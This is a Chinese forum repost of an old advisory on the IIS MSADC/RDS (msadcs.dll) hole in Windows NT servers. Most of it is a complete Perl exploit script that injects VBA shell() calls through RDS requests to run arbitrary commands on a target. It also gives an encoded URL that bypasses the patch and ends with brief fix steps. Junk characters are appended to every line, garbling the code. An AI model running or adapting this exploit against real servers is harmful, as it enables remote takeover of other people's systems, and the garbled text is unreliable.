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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^mS.HT=X  
^cfkP(Y3kx  
涉及程序: |Gf1^8:C9  
Microsoft NT server tCd{G c  
5@GD} oAn6  
描述: 3w[<cq.!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 wpAw/-/  
LuQ"E4;nY%  
详细: Xp<A@2wt?  
如果你没有时间读详细内容的话,就删除: >_|Z{:z]d.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :|*Gnu  
有关的安全问题就没有了。 /8 e2dw: \  
s ZlJ/_g  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 OHx,*}N  
/&S~+~]n  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 a!TBk=P  
关于利用ODBC远程漏洞的描述,请参看: } IIK~d,  
,eZ;8W{G  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m~Kch~~]  
hr )+Pk  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 BG(R=, 7  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~.\73_M=A  
<XkkYI(  
这里不再论述。 ,6S_&<{  
6\NX 5Gh  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: JL}hOBqfI  
{mCKTyN+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +#de8/x  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8MYLXW6  
e; &{50VY  
CVyx lc>  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  =F",D=  
{[YqGv=fF  
#!perl R=#q"9qz  
# f.U0E6-(3N  
# MSADC/RDS 'usage' (aka exploit) script z 'vdC  
# Tx|SAa=V  
# by rain.forest.puppy v^ y}lT  
# q\ \8b{~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tEpIyC  
# beta test and find errors! N'lGA;}i  
N(:EK  
use Socket; use Getopt::Std; XwHu:v'=  
getopts("e:vd:h:XR", \%args); WI*^+E&=*  
c%xED%X9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; lOWB^uS%  
9^#zxmH)  
if (!defined $args{h} && !defined $args{R}) { KZp,=[t  
print qq~ XwKZv0ub  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kuKnJWv  
-h <host> = host you want to scan (ip or domain) tu?Z@W/  
-d <seconds> = delay between calls, default 1 second -Fp!w"=T  
-X = dump Index Server path table, if available }5TfQV6  
-v = verbose :Ul'(@  
-e = external dictionary file for step 5 I>YtWY|ed  
@1J51< x  
Or a -R will resume a command session z$I[kR%I{  
N+C%Z[gt[  
~; exit;} Zh@4_Z9n!  
rE bx%u7Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; hB2s$QS  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} iECC@g@a  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 'NG^HLD/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); kB$,1J$q  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} BCa90  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1{\,5U&  
BM=V,BZy  
if (!defined $args{R}){ $ret = &has_msadc; P0`>{!r6@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} QXIbFv  
)DklOEO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" pR@GvweA  
. "cmd /c "; -6em*$k^  
$in=<STDIN>; chomp $in; X d19GP!  
$command="cmd /c " . $in ; [pRVZV  
v ,G-k2$Qe  
if (defined $args{R}) {&load; exit;} 8vX*SrM  
*1ID`o  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; U l7pxzj  
&try_btcustmr; @> +^<  
EE{#S  
print "\nStep 2: Trying to make our own DSN..."; 8IT_mjj  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; D 7;~x]*  
#Tg|aW$(*  
print "\nStep 3: Trying known DSNs..."; V!kQuQJ>  
&known_dsn; x]%4M\T``  
,,wyydG  
print "\nStep 4: Trying known .mdbs..."; N#-kk3!Z;  
&known_mdb; y ? {PoNI  
c^dl+-{Mc  
if (defined $args{e}){ =A6u=  
print "\nStep 5: Trying dictionary of DSN names..."; '^.=gTk  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } V5hlG =V  
>r4Y\"/j  
print "Sorry Charley...maybe next time?\n"; 8Jib|#!  
exit; 'wT./&Z  
B 4*X0x  
############################################################################## 63y':g  
hNR >Hy\  
sub sendraw { # ripped and modded from whisker yoA*\V  
sleep($delay); # it's a DoS on the server! At least on mine... -; /@;W  
my ($pstr)=@_; A Eyr_!G,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 33v%e  
die("Socket problems\n"); S#0|#Z5qD  
if(connect(S,pack "SnA4x8",2,80,$target)){ x`=5l`  
select(S); $|=1; $U"P+  
print $pstr; my @in=<S>; D\_*,Fc  
select(STDOUT); close(S); ;2xXX,'R7  
return @in; ,mE]?XyO  
} else { die("Can't connect...\n"); }} G(Idiw#WT  
pRk'GR]`  
############################################################################## _uy5?auQ  
''\cBM!  
sub make_header { # make the HTTP request 1 Q0Yer  
my $msadc=<<EOT .>gU 9A(Nk  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 hF=V ?\  
User-Agent: ACTIVEDATA (J,Oh  
Host: $ip h.s<0.  
Content-Length: $clen 9B6_eFb  
Connection: Keep-Alive ^v'g~+@o  
aD2CDu  
ADCClientVersion:01.06 8 *(W |J  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R2H\;N  
~i_ R%z:y  
--!ADM!ROX!YOUR!WORLD! B"E(Y M  
Content-Type: application/x-varg  JY050FL  
Content-Length: $reqlen Velbq  
,n,7.m.D  
EOT ;uWI l  
; $msadc=~s/\n/\r\n/g; <x%my4M  
return $msadc;} loqS?bC ]  
-WHwz m  
############################################################################## \<MTY:  
a\.OL}"   
sub make_req { # make the RDS request E<m"en&v  
my ($switch, $p1, $p2)=@_; Dk{nOvZu<  
my $req=""; my $t1, $t2, $query, $dsn; "6 Hj ji@A  
m%$E[cUW!  
if ($switch==1){ # this is the btcustmr.mdb query .n|3A3:  
$query="Select * from Customers where City=" . make_shell(); WG[0$j  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  C>K"ZJ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $Ln2O#  
j"$b%|  
elsif ($switch==2){ # this is general make table query lj}1'K@M  
$query="create table AZZ (B int, C varchar(10))"; PRf\6   
$dsn="$p1";} A&_i]o  
t;a}p_>  
elsif ($switch==3){ # this is general exploit table query s7)# NT2  
$query="select * from AZZ where C=" . make_shell(); 8-g$HXqs_#  
$dsn="$p1";} xzf)_ <  
]I*#R9  
elsif ($switch==4){ # attempt to hork file info from index server D<L{Z[  
$query="select path from scope()"; &B5 Rzz-'  
$dsn="Provider=MSIDXS;";} ea[a)Z7#  
O6/=/-?N=c  
elsif ($switch==5){ # bad query >5@ 0lYhH  
$query="select"; PQ!?gj  
$dsn="$p1";} zZ"')+7q&%  
!\|@{UJk/  
$t1= make_unicode($query); (S93 %ii  
$t2= make_unicode($dsn); %^@0tT  
$req = "\x02\x00\x03\x00"; GMp'KEQQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); 1ZH8/1gWI  
$req.= "\x00\x00" . $t1 ; /)<7$  
$req.= "\x08\x00" . pack ("S1", length($t2)); YwTtI ID%  
$req.= "\x00\x00" . $t2 ; 6nk|*HPz  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _f2iz4  
return $req;} g8@i_  
"lj:bxM2C  
############################################################################## &(U=O?r7  
I3=Sc^zz&V  
sub make_shell { # this makes the shell() statement ha'm`LiX  
return "'|shell(\"$command\")|'";} #S74C*'8  
Tf]VcEF  
############################################################################## B!C32~[  
bX1! fa  
sub make_unicode { # quick little function to convert to unicode !~DkA7i55  
my ($in)=@_; my $out; j:<T<8 .o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } *} 4;1OVT  
return $out;} 9 u89P  
us *l+Jw,m  
############################################################################## s5|)4Z ac  
8{^GC(W{]  
sub rdo_success { # checks for RDO return success (this is kludge) Yy;1N{dbT  
my (@in) = @_; my $base=content_start(@in); Z`h_oK#y15  
if($in[$base]=~/multipart\/mixed/){ 20xGj?M  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} x-k /rZ  
return 0;} <5L`d}  
@)B5^[4(;  
############################################################################## ^rb7`s#G  
R_&V.\e_  
sub make_dsn { # this makes a DSN for us IZ ha* 7  
my @drives=("c","d","e","f"); T{2//$T?  
print "\nMaking DSN: "; jtCob'n8  
foreach $drive (@drives) { yq^$H^_O p  
print "$drive: ";  ^*>no=A  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [9Hm][|Ph  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" fC:\Gh5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); f*f9:xUY  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; UE](`|4H  
return 0 if $2 eq "404"; # not found/doesn't exist 9K_HcLO%y  
if($2 eq "200") { "@bk$o=  
foreach $line (@results) { b<MMli  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} os+wTUR^  
} return 0;} dKG<"  
j>=".^J  
############################################################################## (.t:sn"P  
}{PtQc6RL!  
sub verify_exists { ~oyPmIcb  
my ($page)=@_; W| eG}`  
my @results=sendraw("GET $page HTTP/1.0\n\n"); m#(x D~V  
return $results[0];} D#(L@ {vC  
K_Gf\x  
############################################################################## @y%qQe/g  
Gs?sO?j  
sub try_btcustmr { Xc<9[@  
my @drives=("c","d","e","f"); Cf 8 - %  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J8[Xl.  
dTNgrW`4  
foreach $dir (@dirs) { 0a;zT O/"v  
print "$dir -> "; # fun status so you can see progress 4ov~y1Da)  
foreach $drive (@drives) { Qx#)c%v \\  
print "$drive: "; # ditto (bXp1*0 ;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; wn.0U  
$reqlenlen=length( "$reqlen" ); jF0BWPL  
$clen= 206 + $reqlenlen + $reqlen; ^E8Hv  
LD"}$vfs  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [IW7]Fv<F  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} dv>zK#!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} iTyApLV  
1&WFs6  
############################################################################## s;)tLJ!  
Kqjeqr@)  
sub odbc_error { b?^<';,5  
my (@in)=@_; my $base; "@Fxfd+Ot  
my $base = content_start(@in); vdM\scO:  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this N{@ eV][Q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DA\O,^49h  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2^+"GCo  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >l[N]CQ  
return $in[$base+4].$in[$base+5].$in[$base+6];} [! o -F;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; kE|#mI[>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ot6 P q}  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} J)+eEmrU  
Ku# _   
############################################################################## L*38T\  
G 3x1w/L  
sub verbose { k#M W>  
my ($in)=@_; UJ&,9}L8  
return if !$verbose; [O'p&j@  
print STDOUT "\n$in\n";} ]YKWa"  
_E 8SX v  
############################################################################## we? #)9Q<  
MS)bhZvO  
sub save { _u!G 6   
my ($p1, $p2, $p3, $p4)=@_; R["7%|RV  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; C$; ~=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; EtG)2)  
close OUT;} 1gr jK.x  
gr7_oJ:R  
############################################################################## &0TheY;srf  
K!mgh7Dx  
sub load { ' ga2C\)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5sUnEHN  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =Ch#pLmH  
@p=<IN>; close(IN); $<#sCrNX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  '%4,!  
$target= inet_aton($ip) || die("inet_aton problems"); Ks-><-2+N  
print "Resuming to $ip ..."; 19DW~kvYk  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; .j.=|5nVo4  
if($p[1]==1) { c eX*|B@=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; BcWReyO<M  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >oNs_{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); w5Z3e^g  
if (rdo_success(@results)){print "Success!\n";} "/=x u|  
else { print "failed\n"; verbose(odbc_error(@results));}} CaMG$X&O  
elsif ($p[1]==3){ VP&lWPA}\$  
if(run_query("$p[3]")){ ShP V!$0  
print "Success!\n";} else { print "failed\n"; }} `.XU|J*z,  
elsif ($p[1]==4){ Ab)7hCUW  
if(run_query($drvst . "$p[3]")){ Z5K,y19/~  
print "Success!\n"; } else { print "failed\n"; }} cPSpPx  
exit;} M`FL&Ac  
GKr L  
############################################################################## 8Sa<I .l  
j3U8@tuG  
sub create_table { AnQRSB (  
my ($in)=@_; #e[5O| V~  
$reqlen=length( make_req(2,$in,"") ) - 28; i\b2P2 `B  
$reqlenlen=length( "$reqlen" ); :csLZqn[  
$clen= 206 + $reqlenlen + $reqlen; {s]eXc]K}  
my @results=sendraw(make_header() . make_req(2,$in,"")); gB#t"s)  
return 1 if rdo_success(@results); :KwYuwYS  
my $temp= odbc_error(@results); verbose($temp); i|e-N?l  
return 1 if $temp=~/Table 'AZZ' already exists/; g=wnly  
return 0;}  LvaF4Y2v  
+X%yF{^m(  
############################################################################## X-)6.[9f  
+$C5V,H ~  
sub known_dsn { xe' *%3-v)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go M'sJ5;^5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u/:@+rTV_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #<:khs6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;pJ7k23(  
xb\lbS{ f  
foreach $dSn (@dsns) { r=;k[*;{  
print "."; M*Xzr .6  
next if (!is_access("DSN=$dSn")); *(J<~:V?  
if(create_table("DSN=$dSn")){ ;S/fe(C   
print "$dSn successful\n"; .W\Fa2}%av  
if(run_query("DSN=$dSn")){ Om*Dy}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ? p]w_l  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (Y86q\DQ?|  
AiuF3`Xa  
############################################################################## 3-0Y<++W3>  
vnE,}(M  
sub is_access { 3mWN?fC  
my ($in)=@_; *hba>LZ  
$reqlen=length( make_req(5,$in,"") ) - 28; sE% n=Ww  
$reqlenlen=length( "$reqlen" ); _kfApO )O  
$clen= 206 + $reqlenlen + $reqlen; q%l<Hw6{z  
my @results=sendraw(make_header() . make_req(5,$in,"")); b1+Nm  
my $temp= odbc_error(@results); ev`p!p  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8@!SM  
return 0;} ouuj d~b+  
H3JWf MlW  
############################################################################## pdM|dGq^  
|"arVde  
sub run_query { (Xx @_  
my ($in)=@_; NW$Z}?I  
$reqlen=length( make_req(3,$in,"") ) - 28; mYZH]oo  
$reqlenlen=length( "$reqlen" ); U<t Qj`  
$clen= 206 + $reqlenlen + $reqlen; 0>vm&W<?)  
my @results=sendraw(make_header() . make_req(3,$in,"")); ke0Vy(3t{h  
return 1 if rdo_success(@results); zK}.Bhj#  
my $temp= odbc_error(@results); verbose($temp); JP#m} W  
return 0;} -<.>jX  
x~ I cSt  
############################################################################## RSy1 wp4W  
4&tY5m>  
sub known_mdb { 'n\ZmG{  
my @drives=("c","d","e","f","g"); u VB&D E  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3.soCyxmc  
my $dir, $drive, $mdb; s f%=q$z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; LGK}oL'  
xZ .:H&0G  
# this is sparse, because I don't know of many U^.$k-|k  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Fik*7!XQ8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;kdJxxUox  
"\\system32\\certmdb.mdb", b8O:@j2  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "p<f#s}  
wI)W:mUZZ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]RV6( |U4_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3=` UX  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ],#9L   
"\\cfusion\\cfapps\\security\\realm_.mdb", >t.I,Zn  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", x\)-4w<P  
"\\cfusion\\database\\cfexamples.mdb", kj>XKZL10  
"\\cfusion\\database\\cfsnippets.mdb", a XwFQ,  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4o'0lz]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", n {M!l\1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", dz?:)5>I  
"\\cfusion\\database\\smpolicy.mdb", .iw+ #  
"\\cfusion\\database\cypress.mdb", :[F w c  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", )V3G~p=0  
"\\website\\cgi-win\\dbsample.mdb", kIQMIL0+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Xf:-K(%e  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bBGLf)fsTG  
); #these are just t1xX B^.M{  
foreach $drive (@drives) { Fm:Ri$iT  
foreach $dir (@dirs){ P'zA=Rd&~>  
foreach $mdb (@sysmdbs) { 97Whn*  
print "."; iYFM@ta  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ VPK)HzPG,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ee6Zm+.B  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ jQc$>M<"o  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S-My6'ar  
} else { print "Something's borked. Use verbose next time\n"; }}}}} R6!t2gdKe@  
M>-x\[n+  
foreach $drive (@drives) { yhZ2-*pTg  
foreach $mdb (@mdbs) { hD sFsG  
print "."; "zfy_h  
if(create_table($drv . $drive . $dir . $mdb)){ l]GLkE  
print "\n" . $drive . $dir . $mdb . " successful\n"; |ML|P\1&V  
if(run_query($drv . $drive . $dir . $mdb)){ fy7]I?vm@  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; od$Cm5  
} else { print "Something's borked. Use verbose next time\n"; }}}} I/t2c=f  
} "H6DiPh.E  
.F |yxj;I7  
############################################################################## *r=6bpi  
}{HlY?S  
sub hork_idx { e_7a9:2e  
print "\nAttempting to dump Index Server tables...\n"; Ymx/N+Jl  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; G$WMW@fy  
$reqlen=length( make_req(4,"","") ) - 28; VP5_Y1e7  
$reqlenlen=length( "$reqlen" );  zoA]7pG-  
$clen= 206 + $reqlenlen + $reqlen; 1Z|q0-Dw0  
my @results=sendraw2(make_header() . make_req(4,"","")); h ~v8Q_6  
if (rdo_success(@results)){ DdPU\ ZWR  
my $max=@results; my $c; my %d; Lk4gjs,V  
for($c=19; $c<$max; $c++){ ~ #Vrf0w/  
$results[$c]=~s/\x00//g; ;=aj)lemCr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _A1r6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [/\}:#MLe  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; bvi Y.G3  
$d{"$1$2"}="";} A(ql}cr  
foreach $c (keys %d){ print "$c\n"; } @}qMI   
} else {print "Index server doesn't seem to be installed.\n"; }} rM Un ~  
<t\!g  
############################################################################## Dhv ^}m@  
s@V4ny9x  
sub dsn_dict { ~Cm_=[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  K<6)SL4  
while(<IN>){ 0.qnbDw_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ZDMS:w.'T  
next if (!is_access("DSN=$dSn")); AfB,`l`k  
if(create_table("DSN=$dSn")){ s&TPG0W  
print "$dSn successful\n"; AKu]c-  
if(run_query("DSN=$dSn")){ *7FtEk/l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gu-6~^Km9  
print "Something's borked. Use verbose next time\n";}}} W:' H&`0  
print "\n"; close(IN);} G*JasHFs  
^,*!Qk<c  
############################################################################## BRyrdt*_e  
tP^2NTs%]  
sub sendraw2 { # ripped and modded from whisker Z0 @P1  
sleep($delay); # it's a DoS on the server! At least on mine... S8 .1%sw  
my ($pstr)=@_; nF`_3U8e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =~15q=XY0  
die("Socket problems\n"); '9.L5*wh]  
if(connect(S,pack "SnA4x8",2,80,$target)){ !W^P|:Qt  
print "Connected. Getting data"; ~x4]^XS  
open(OUT,">raw.out"); my @in; 5LMAy"  
select(S); $|=1; print $pstr; f0S$p R  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} jI[Y< (F ;  
close(OUT); select(STDOUT); close(S); return @in; "V'<dn  
} else { die("Can't connect...\n"); }} B OKY X  
*: }9(8d  
############################################################################## K !g!tA$  
Cj'X L}  
sub content_start { # this will take in the server headers zsOOx% +  
my (@in)=@_; my $c; b*Sw") #  
for ($c=1;$c<500;$c++) { n%X5TJE  
if($in[$c] =~/^\x0d\x0a/){ 9(eTCe-~6  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +6-_9qRq  
else { return $c+1; }}} 1UdET#\  
return -1;} # it should never get here actually rrz^LD  
@kBy|5  
############################################################################## ~)vq0]MRg  
Pg4go10|  
sub funky { kT^|%bB[i  
my (@in)=@_; my $error=odbc_error(@in); 3e,"B S)+  
if($error=~/ADO could not find the specified provider/){ F}MjZZj(U=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;#)sV2F\&  
exit;} +7E&IK  
if($error=~/A Handler is required/){ .|UIZwW0  
print "\nServer has custom handler filters (they most likely are patched)\n"; m9Xauk$(  
exit;} Tg/?v3M88  
if($error=~/specified Handler has denied Access/){  r"YOA@  
print "\nServer has custom handler filters (they most likely are patched)\n"; M 5c$  
exit;}} 4f SG c8  
o@2Y98~Q}  
############################################################################## \8Y62  
&uP,w#  
sub has_msadc { eU(cn8/}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); zpgRK4p,I"  
my $base=content_start(@results); xaI)d/  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .:r l<.  
return 0;} [$]qJ~kz  
@}\wec_   
######################## iewwL7  
pmfL}Dn  
FIu|eW+<l  
解决方案: 0fE?(0pBj  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !KC4[;Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {c}n."`  
PjE%_M<  
拿出来充数 哈哈
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